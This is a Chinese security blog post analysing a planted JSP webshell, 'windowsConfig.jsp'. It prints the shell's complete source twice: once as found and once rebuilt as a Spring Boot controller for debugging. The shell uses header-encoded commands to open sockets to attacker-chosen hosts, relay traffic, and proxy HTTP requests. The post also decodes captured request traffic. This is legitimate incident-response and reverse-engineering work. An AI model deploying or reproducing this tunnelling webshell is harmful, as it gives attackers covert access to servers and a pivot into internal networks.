从零开始的内存马分析——如何骑马反杀(三)

举报
亿人安全 发表于 2023/05/21 14:21:35 2023/05/21
【摘要】 第三天,你看着windowsConfig.jsp,config.jsp,心里想着,可算抓到你了,这回要把你全部,全部都属于我,可是,当你正兴高采烈逐步分析的时候,却发现,自己的数据库早已沦陷。。。0x00 序言第三天,你看着windowsConfig.jsp,config.jsp,心里想着,可算抓到你了,这回要把你全部,全部都属于我,可是,当你正兴高采烈逐步分析的时候,却发现,自己的数据早已...

  • 第三天,你看着windowsConfig.jsp,config.jsp,心里想着,可算抓到你了,这回要把你全部,全部都属于我,可是,当你正兴高采烈逐步分析的时候,却发现,自己的数据库早已沦陷。。。

0x00 序言

第三天,你看着windowsConfig.jsp,config.jsp,心里想着,可算抓到你了,这回要把你全部,全部都属于我,可是,当你正兴高采烈逐步分析的时候,却发现,自己的数据早已沦陷。。。

0x01 windowsConfig.jsp分析

<%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="UTF-8" trimDirectiveWhitespaces="true"%>
<%!
    private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray();
    public static String b64en(byte[] data) {
        StringBuffer sb = new StringBuffer();
        int len = data.length;
        int i = 0;
        int b1, b2, b3;
        while (i < len) {
            b1 = data[i++] & 0xff;
            if (i == len) {
                sb.append(en[b1 >>> 2]);
                sb.append(en[(b1 & 0x3) << 4]);
                sb.append("==");
                break;
            }
            b2 = data[i++] & 0xff;
            if (i == len) {
                sb.append(en[b1 >>> 2]);
                sb.append(en[((b1 & 0x03) << 4)
                        | ((b2 & 0xf0) >>> 4)]);
                sb.append(en[(b2 & 0x0f) << 2]);
                sb.append("=");
                break;
            }
            b3 = data[i++] & 0xff;
            sb.append(en[b1 >>> 2]);
            sb.append(en[((b1 & 0x03) << 4)
                    | ((b2 & 0xf0) >>> 4)]);
            sb.append(en[((b2 & 0x0f) << 2)
                    | ((b3 & 0xc0) >>> 6)]);
            sb.append(en[b3 & 0x3f]);
        }
        return sb.toString();
    }
    private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1};
    public static byte[] b64de(String str) {
        byte[] data = str.getBytes();
        int len = data.length;
        ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
        int i = 0;
        int b1, b2, b3, b4;
        while (i < len) {
            do {
                b1 = de[data[i++]];
            } while (i < len && b1 == -1);
            if (b1 == -1) {
                break;
            }
            do {
                b2 = de[data[i++]];
            } while (i < len && b2 == -1);
            if (b2 == -1) {
                break;
            }
            buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4)));
            do {
                b3 = data[i++];
                if (b3 == 61) {
                    return buf.toByteArray();
                }
                b3 = de[b3];
            } while (i < len && b3 == -1);
            if (b3 == -1) {
                break;
            }
            buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2)));
            do {
                b4 = data[i++];
                if (b4 == 61) {
                    return buf.toByteArray();
                }
                b4 = de[b4];
            } while (i < len && b4 == -1);
            if (b4 == -1) {
                break;
            }
            buf.write((int) (((b3 & 0x03) << 6) | b4));
        }
        return buf.toByteArray();
    }

    static String headerkey(String str) throws Exception {
        String out = "";
        for (String block: str.split("-")) {
           out += block.substring(0, 1).toUpperCase() + block.substring(1);
           out += "-";
        }
        return out.substring(0, out.length() - 1);
    }

    boolean islocal(String url) throws Exception {
        String ip = (new URL(url)).getHost();
        Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();
        while (nifs.hasMoreElements()) {
            NetworkInterface nif = nifs.nextElement();
            Enumeration<InetAddress> addresses = nif.getInetAddresses();
            while (addresses.hasMoreElements()) {
                InetAddress addr = addresses.nextElement();
                if (addr instanceof Inet4Address)
                    if (addr.getHostAddress().equals(ip))
                        return true;
            }
        }
        return false;
    }
%>
//上面是定义的函数之类
//下面是我们的代码
<%
    String rUrl = request.getHeader("Mueytrthxaatjpsb");
    if (rUrl != null) {
        rUrl = new String(b64de(rUrl));
        if (!islocal(rUrl)){
            response.reset();
            String method = request.getMethod();
            URL u = new URL(rUrl);
            HttpURLConnection conn = (HttpURLConnection) u.openConnection();
            conn.setRequestMethod(method);
            conn.setDoOutput(true);

            // conn.setConnectTimeout(200);
            // conn.setReadTimeout(200);

            Enumeration enu = request.getHeaderNames();
            List<String> keys = Collections.list(enu);
            Collections.reverse(keys);
            for (String key : keys){
                if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){
                    String value=request.getHeader(key);
                    conn.setRequestProperty(headerkey(key), value);
                }
            }

            int i;
            byte[] buffer = new byte[1024];
            if (request.getContentLength() != -1){
                OutputStream output;
                try{
                    output = conn.getOutputStream();
                }catch(Exception e){
                    response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV");
                    return;
                }

                ServletInputStream inputStream = request.getInputStream();
                while ((i = inputStream.read(buffer)) != -1) {
                    output.write(buffer, 0, i);
                }
                output.flush();
                output.close();
            }

            for (String key : conn.getHeaderFields().keySet()) {
                if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){
                    String value = conn.getHeaderField(key);
                    response.setHeader(key, value);
                }
            }

            InputStream hin;
            if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
                hin = conn.getInputStream();
            } else {
                hin = conn.getErrorStream();
                if (hin == null){
                    response.setStatus(200);
                    return;
                }
            }

            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            while ((i = hin.read(buffer)) != -1) {
                byte[] data = new byte[i];
                System.arraycopy(buffer, 0, data, 0, i);
                baos.write(data);
            }
            String responseBody = new String(baos.toByteArray());
            response.addHeader("Content-Length", Integer.toString(responseBody.length()));
            response.setStatus(conn.getResponseCode());
            out.write(responseBody);
            out.flush();

            if ( true ) return; // exit
        }
    }

    response.resetBuffer();
    response.setStatus(200);
    String cmd = request.getHeader("Ffydhndmhhl");
    if (cmd != null) {
        String mark = cmd.substring(0,22);
        cmd = cmd.substring(22);
        response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
        if (cmd.compareTo("b5v9XJbF") == 0) {
            try {
                String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|");
                String target = target_ary[0];
                int port = Integer.parseInt(target_ary[1]);
                SocketChannel socketChannel = SocketChannel.open();
                socketChannel.connect(new InetSocketAddress(target, port));
                socketChannel.configureBlocking(false);
                application.setAttribute(mark, socketChannel);
                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
            } catch (Exception e) {
                response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
            }
        } else if (cmd.compareTo("0FX") == 0) {
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
            try{
                socketChannel.socket().close();
            } catch (Exception e) {
            }
            application.removeAttribute(mark);
        } else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
            try{
                ByteBuffer buf = ByteBuffer.allocate(513);
                int bytesRead = socketChannel.read(buf);
                int maxRead = 524288;
                int readLen = 0;
                while (bytesRead > 0){
                    byte[] data = new byte[bytesRead];
                    System.arraycopy(buf.array(), 0, data, 0, bytesRead);
                    out.write(b64en(data));
                    out.flush();
                    ((java.nio.Buffer)buf).clear();
                    readLen += bytesRead;
                    if (bytesRead < 513 || readLen >= maxRead)
                        break;
                    bytesRead = socketChannel.read(buf);
                }
                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");

            } catch (Exception e) {
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
            }

        } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
            try {
                String inputData = "";
                InputStream in = request.getInputStream();
                while ( true ){
                    byte[] buff = new byte[in.available()];
                    if (in.read(buff) == -1)
                        break;
                    inputData += new String(buff);
                }
                byte[] base64 = b64de(inputData);
                ByteBuffer buf = ByteBuffer.allocate(base64.length);
                buf.put(base64);
                buf.flip();

                while(buf.hasRemaining())
                    socketChannel.write(buf);

                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");

            } catch (Exception e) {
                response.setHeader("Die", "QmPrA86mT15");
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
                socketChannel.socket().close();
            }
        }
    } else {
        out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->");
    }
%>

1.1 方法分析

这个马子也是比较精妙的,将一些数据,藏在报文头部,总而言之,整个马,将模仿数据,模仿业务贯穿始终。

b64en 很好理解,本身是一个base64的加密

b64de 则是一个解密

当然,base的表是自己独立的表,也就是所谓的换表加密。

headerkey

    static String headerkey(String str) throws Exception {
        String out = "";
        for (String block: str.split("-")) {
           out += block.substring(0, 1).toUpperCase() + block.substring(1);
           out += "-";
        }
        return out.substring(0, out.length() - 1);
    }

图片

根据测试,他将首字母变为大写

islocal

是用了java的网络编程,去判断

boolean islocal(String url) throws Exception {
        String ip = (new URL(url)).getHost();
        // 获得本机的所有网络接口
        Enumeration nifs = NetworkInterface.getNetworkInterfaces();
        while (nifs.hasMoreElements()) {
            NetworkInterface nif = nifs.nextElement();
            // 获得与该网络接口绑定的 IP 地址,一般只有一个
            Enumeration addresses = nif.getInetAddresses();
            while (addresses.hasMoreElements()) {
                InetAddress addr = addresses.nextElement();
                // 只关心 IPv4 地址
                if (addr instanceof Inet4Address)
                    if (addr.getHostAddress().equals(ip))//获取客户端ip,判断是否为代理
                        return true;
            }
        }
        return false;
    }

1.2 内容分析

<%
    String rUrl = request.getHeader("Mueytrthxaatjpsb");
    //获取头部,Mueytrthxaatjpsb 貌似是随机生成的
    if (rUrl != null) {
    //存在的时候,直接base解码
        rUrl = new String(b64de(rUrl));
        if (!islocal(rUrl)){
            response.reset();
            String method = request.getMethod();
            //发送http的一个连接请求,
            URL u = new URL(rUrl);
            HttpURLConnection conn = (HttpURLConnection) u.openConnection();
            conn.setRequestMethod(method);
            conn.setDoOutput(true);

            // conn.setConnectTimeout(200);
            // conn.setReadTimeout(200);
//获取全部头信息
            Enumeration enu = request.getHeaderNames();
            List<String> keys = Collections.list(enu);
            //对list进行反转。1,6,2,10 变为 10,2,6,1
            Collections.reverse(keys);
            for (String key : keys){
            //不考虑大小写进行比较
                if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){
                    String value=request.getHeader(key);
                    conn.setRequestProperty(headerkey(key), value);
                }
            }
            //requestContentLength 获取请求的 body 长度,也就相当于访问到
            int i;
            byte[] buffer = new byte[1024];
            if (request.getContentLength() != -1){
                OutputStream output;
                try{
                    output = conn.getOutputStream();
                }catch(Exception e){
                //在返回头中设置 Die:C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV
                    response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV");
                    return;
                }

                ServletInputStream inputStream = request.getInputStream();
                while ((i = inputStream.read(buffer)) != -1) {
                    output.write(buffer, 0, i);
                }
                output.flush();
                output.close();
            }

            for (String key : conn.getHeaderFields().keySet()) {
                if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){
                    String value = conn.getHeaderField(key);
                    response.setHeader(key, value);
                }
            }

            InputStream hin;
            if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
                hin = conn.getInputStream();
            } else {
                hin = conn.getErrorStream();
                if (hin == null){
                    response.setStatus(200);
                    return;
                }
            }

            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            while ((i = hin.read(buffer)) != -1) {
                byte[] data = new byte[i];
                System.arraycopy(buffer, 0, data, 0, i);
                baos.write(data);
            }
            //让content-length 对返回长度进行输出
            String responseBody = new String(baos.toByteArray());
            response.addHeader("Content-Length", Integer.toString(responseBody.length()));
            response.setStatus(conn.getResponseCode());
            out.write(responseBody);
            out.flush();

            if ( true ) return; // exit
        }
    }

    response.resetBuffer();
    response.setStatus(200);
   //cmd 为我们从header中获取的Ffydhndmhhl参数
    String cmd = request.getHeader("Ffydhndmhhl");
    if (cmd != null) {
    //从开始到22个字符串,定义为mark
        String mark = cmd.substring(0,22);
        //去掉前面的22个字符串,定义为cmd
        cmd = cmd.substring(22);
        //response 设置头部 Sbxspawzq,值为CapFLueBCn2ZM
        response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
       //如果我们的cmd 等于b5v9XJbF ,就会进入if中
        if (cmd.compareTo("b5v9XJbF") == 0) {
            try {
            //target的数组就等于 请求中Nopo的值,然后把Nopo的值进行basede解码,并通过| 竖杠,进行分割
                String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|");
                //target 就是我们target数组的第0个
                String target = target_ary[0];
                //端口是target的第1个参数
                int port = Integer.parseInt(target_ary[1]);

                SocketChannel socketChannel = SocketChannel.open();
                socketChannel.connect(new InetSocketAddress(target, port));
                socketChannel.configureBlocking(false);
                //存储到整个应用程序的生命周期之中
                application.setAttribute(mark, socketChannel);
                //设置返回的Sbxspawzq CapFLueBCn2ZM header和值
                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
            } catch (Exception e) {
            //如果在socketCHannel建立的过程中报错了,那就会回显如下的值

                response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
            }
        }//如果cmd等于0FX 
        else if (cmd.compareTo("0FX") == 0) {
        //获取我们存储在application中的socketChannel
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
            //关闭我们打开的socketChannel
            try{
                socketChannel.socket().close();
            } catch (Exception e) {
            }
            //删除我们的application中存储的值
            application.removeAttribute(mark);
        } //如果我们的cmd 等于 TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql
        else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
        //如上
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
            //从socketChannel中读取数据
            //分配了Buffer。从SocketChannel读取到的数据会放到这个Buffer中。
然后,调用SocketChannel.read(buf)。该方法将数据从SocketChannel 读到Buffer中。
read(buf)方法返回的int值,他会表示读了多少字节进Buffer里。
            try{
                ByteBuffer buf = ByteBuffer.allocate(513);
                int bytesRead = socketChannel.read(buf);
                int maxRead = 524288;
                int readLen = 0;
                while (bytesRead > 0){

                    byte[] data = new byte[bytesRead];
                    //system.arraycopy多字节的一个数组复制
                    System.arraycopy(buf.array(), 0, data, 0, bytesRead);
                    //输出,讲我们的data进行加密
                    out.write(b64en(data));
                    out.flush();
                    ((java.nio.Buffer)buf).clear();
                    readLen += bytesRead;
                    if (bytesRead < 513 || readLen >= maxRead)
                        break;
                    bytesRead = socketChannel.read(buf);
                }
                //返回头部设置Sbxspawzq :CapFLueBCn2ZM
                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");

            } catch (Exception e) {
            //如果读取失败的话,会返回如下
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
            }
            //如果cmd等于CtWP7tBSKiDnysT9hP9pa
        } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);

            try {
                String inputData = "";
                InputStream in = request.getInputStream();
                while ( true ){
                //另类的开buff的方式
                    byte[] buff = new byte[in.available()];
                    if (in.read(buff) == -1)
                        break;
                    inputData += new String(buff);
                }
                //针对输入的data进行basede解密
                byte[] base64 = b64de(inputData);
                //bytebuffer的创建
                //这种方法的buf缓冲区存储在堆内存中,内存开销在JVM中,受GC影响,会多拷贝一次,因为java程序收到的数据首先被系统内存所获取,然后再拷贝给JVM
                ByteBuffer buf = ByteBuffer.allocate(base64.length);
                buf.put(base64);
                //flip是非常重要的一个函数,将Buffer从写模式切换到读模式(必须调用这个方法),他就用来切换buffer读写模式的一个函数
                buf.flip();
                //往SocketChannel写数据
                while(buf.hasRemaining())
                    socketChannel.write(buf);

                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");

            } catch (Exception e) {
                response.setHeader("Die", "QmPrA86mT15");
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
                socketChannel.socket().close();
            }
        }
    } else {
        out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->");
    }
%>

这一部分是NIO-08 java SocketChannel

SocketChannel 是连接到 TCP 网络套接字的 Channel,相当于 Java 网络编程中的 Socket。有两种创建 SocketChannel 的方式:

       //前两行是开启一个socketChannel
       SocketChannel socketChannel = SocketChannel.open();
       socketChannel.connect(new InetSocketAddress(target, port));
      //将SocketChannel设置为非阻塞的  
       socketChannel.configureBlocking(false);

我们首先做一些前置工作

0x02 Springboot环境搭建

先附上代码

package com.example.windowsconfig.Controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.*;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.nio.charset.StandardCharsets;
import java.util.Collections;
import java.util.Enumeration;
import java.util.List;

@Controller
public class controller {
    private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray();
    public static String b64en(byte[] data) {
        StringBuffer sb = new StringBuffer();
        int len = data.length;
        int i = 0;
        int b1, b2, b3;
        while (i < len) {
            b1 = data[i++] & 0xff;
            if (i == len) {
                sb.append(en[b1 >>> 2]);
                sb.append(en[(b1 & 0x3) << 4]);
                sb.append("==");
                break;
            }
            b2 = data[i++] & 0xff;
            if (i == len) {
                sb.append(en[b1 >>> 2]);
                sb.append(en[((b1 & 0x03) << 4)
                        | ((b2 & 0xf0) >>> 4)]);
                sb.append(en[(b2 & 0x0f) << 2]);
                sb.append("=");
                break;
            }
            b3 = data[i++] & 0xff;
            sb.append(en[b1 >>> 2]);
            sb.append(en[((b1 & 0x03) << 4)
                    | ((b2 & 0xf0) >>> 4)]);
            sb.append(en[((b2 & 0x0f) << 2)
                    | ((b3 & 0xc0) >>> 6)]);
            sb.append(en[b3 & 0x3f]);
        }
        return sb.toString();
    }
    private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1};
    public static byte[] b64de(String str) {
        byte[] data = str.getBytes();
        int len = data.length;
        ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
        int i = 0;
        int b1, b2, b3, b4;
        while (i < len) {
            do {
                b1 = de[data[i++]];
            } while (i < len && b1 == -1);
            if (b1 == -1) {
                break;
            }
            do {
                b2 = de[data[i++]];
            } while (i < len && b2 == -1);
            if (b2 == -1) {
                break;
            }
            buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4)));
            do {
                b3 = data[i++];
                if (b3 == 61) {
                    return buf.toByteArray();
                }
                b3 = de[b3];
            } while (i < len && b3 == -1);
            if (b3 == -1) {
                break;
            }
            buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2)));
            do {
                b4 = data[i++];
                if (b4 == 61) {
                    return buf.toByteArray();
                }
                b4 = de[b4];
            } while (i < len && b4 == -1);
            if (b4 == -1) {
                break;
            }
            buf.write((int) (((b3 & 0x03) << 6) | b4));
        }
        return buf.toByteArray();
    }

    static String headerkey(String str) throws Exception {
        String out = "";
        for (String block: str.split("-")) {
            out += block.substring(0, 1).toUpperCase() + block.substring(1);
            out += "-";
        }
        return out.substring(0, out.length() - 1);
    }

    boolean islocal(String url) throws Exception {
        String ip = (new URL(url)).getHost();
        Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();
        while (nifs.hasMoreElements()) {
            NetworkInterface nif = nifs.nextElement();
            Enumeration<InetAddress> addresses = nif.getInetAddresses();
            while (addresses.hasMoreElements()) {
                InetAddress addr = addresses.nextElement();
                if (addr instanceof Inet4Address)
                    if (addr.getHostAddress().equals(ip))
                        return true;
            }
        }
        return false;
    }
    @RequestMapping("/windowsConfig")
    public void windows(HttpServletRequest request, HttpServletResponse response) throws Exception {
        ServletOutputStream out = response.getOutputStream();
        ServletContext application = request.getSession().getServletContext();

        String rUrl = request.getHeader("Mueytrthxaatjpsb");
        if (rUrl != null) {
            rUrl = new String(b64de(rUrl));
            if (!islocal(rUrl)){
                response.reset();
                String method = request.getMethod();
                URL u = new URL(rUrl);
                HttpURLConnection conn = (HttpURLConnection) u.openConnection();
                conn.setRequestMethod(method);
                conn.setDoOutput(true);

                // conn.setConnectTimeout(200);
                // conn.setReadTimeout(200);

                Enumeration enu = request.getHeaderNames();
                List<String> keys = Collections.list(enu);
                Collections.reverse(keys);
                for (String key : keys){
                    if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){
                        String value=request.getHeader(key);
                        conn.setRequestProperty(headerkey(key), value);
                    }
                }

                int i;
                byte[] buffer = new byte[1024];
                if (request.getContentLength() != -1){
                    OutputStream output;
                    try{
                        output = conn.getOutputStream();
                    }catch(Exception e){
                        response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV");
                        return;
                    }

                    ServletInputStream inputStream = request.getInputStream();
                    while ((i = inputStream.read(buffer)) != -1) {
                        output.write(buffer, 0, i);
                    }
                    output.flush();
                    output.close();
                }

                for (String key : conn.getHeaderFields().keySet()) {
                    if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){
                        String value = conn.getHeaderField(key);
                        response.setHeader(key, value);
                    }
                }

                InputStream hin;
                if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
                    hin = conn.getInputStream();
                } else {
                    hin = conn.getErrorStream();
                    if (hin == null){
                        response.setStatus(200);
                        return;
                    }
                }

                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                while ((i = hin.read(buffer)) != -1) {
                    byte[] data = new byte[i];
                    System.arraycopy(buffer, 0, data, 0, i);
                    baos.write(data);
                }
                String responseBody = new String(baos.toByteArray());
                response.addHeader("Content-Length", Integer.toString(responseBody.length()));
                response.setStatus(conn.getResponseCode());
                out.write(responseBody.getBytes(StandardCharsets.UTF_8));
                out.flush();

                if ( true ) return; // exit
            }
        }

        response.resetBuffer();
        response.setStatus(200);
        String cmd = request.getHeader("Ffydhndmhhl");
        if (cmd != null) {
            String mark = cmd.substring(0,22);
            cmd = cmd.substring(22);
            response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
            if (cmd.compareTo("b5v9XJbF") == 0) {
                try {
                    String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|");
                    String target = target_ary[0];
                    int port = Integer.parseInt(target_ary[1]);
                    SocketChannel socketChannel = SocketChannel.open();
                    socketChannel.connect(new InetSocketAddress(target, port));
                    socketChannel.configureBlocking(false);
                    application.setAttribute(mark, socketChannel);
                    response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
                } catch (Exception e) {
                    response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");
                    response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
                }
            } else if (cmd.compareTo("0FX") == 0) {
                SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
                try{
                    socketChannel.socket().close();
                } catch (Exception e) {
                }
                application.removeAttribute(mark);
            } else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
                SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
                try{
                    ByteBuffer buf = ByteBuffer.allocate(513);
                    int bytesRead = socketChannel.read(buf);
                    int maxRead = 524288;
                    int readLen = 0;
                    while (bytesRead > 0){
                        byte[] data = new byte[bytesRead];
                        System.arraycopy(buf.array(), 0, data, 0, bytesRead);
                        out.write(b64en(data).getBytes(StandardCharsets.UTF_8));
                        out.flush();
                        ((java.nio.Buffer)buf).clear();
                        readLen += bytesRead;
                        if (bytesRead < 513 || readLen >= maxRead)
                            break;
                        bytesRead = socketChannel.read(buf);
                    }
                    response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");

                } catch (Exception e) {
                    response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
                }

            } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
                SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
                try {
                    String inputData = "";
                    InputStream in = request.getInputStream();
                    while ( true ){
                        byte[] buff = new byte[in.available()];
                        if (in.read(buff) == -1)
                            break;
                        inputData += new String(buff);
                    }
                    byte[] base64 = b64de(inputData);
                    ByteBuffer buf = ByteBuffer.allocate(base64.length);
                    buf.put(base64);
                    buf.flip();

                    while(buf.hasRemaining())
                        socketChannel.write(buf);

                    response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");

                } catch (Exception e) {
                    response.setHeader("Die", "QmPrA86mT15");
                    response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
                    socketChannel.socket().close();
                }
            }
        } else {

            out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->".getBytes(StandardCharsets.UTF_8));
        }
    }
}

主要增添的是两部分

ServletOutputStream out = response.getOutputStream();
ServletContext application = request.getSession().getServletContext();

一个是输出流,一个是application

同时针对所有的out流都进行getByte转换

图片

当然,这个也是比较神奇的

图片

为什么不会触发这个回显呢?

根据代码,我们可以分析到,因为有content-length 才会触发

图片

图片

正常测试没有问题

我们打开科来,尝试分析一下数据包

0x03 分析流量包

首先肯定是正常放问的一个流量

图片

会回显

<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->

和我们推测的一致

GET /ncupload/windowsConfig.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: JXHbGv6CTBayDJp1IL4lHwb5v9XJbF
Nnpo: n7n7wqF8frH3wqtDduKB1C==
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block

Sbxspawzq: G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa
Die: k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO

Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 27 Jul 2022 10:17:13 GMT

他发送了FfydhndmhhlNnpo 头部

3.1 动态调试

我们解码看看,因为已经有环境了,我们直接动态调试

图片

和我们之前的代码预测一致

JXHbGv6CTBayDJp1IL4lHw b5v9XJbF

被拆分为了

cmd : b5v9XJbF

mark : JXHbGv6CTBayDJp1IL4lHw

图片图片


判断我们是b5v9xjbf之后

进入if

图片

Nnpo解密发现其首先访问了www.baidu.com 进行测试,判断是否可以出外网

也就是说 b5v9XJbF 功能使用来判断是否通着的/也可以用来访问/连接其他

我们跟随流量继续访问

GET /ncupload/windowsConfig.jsp HTTP/1.1
Host:
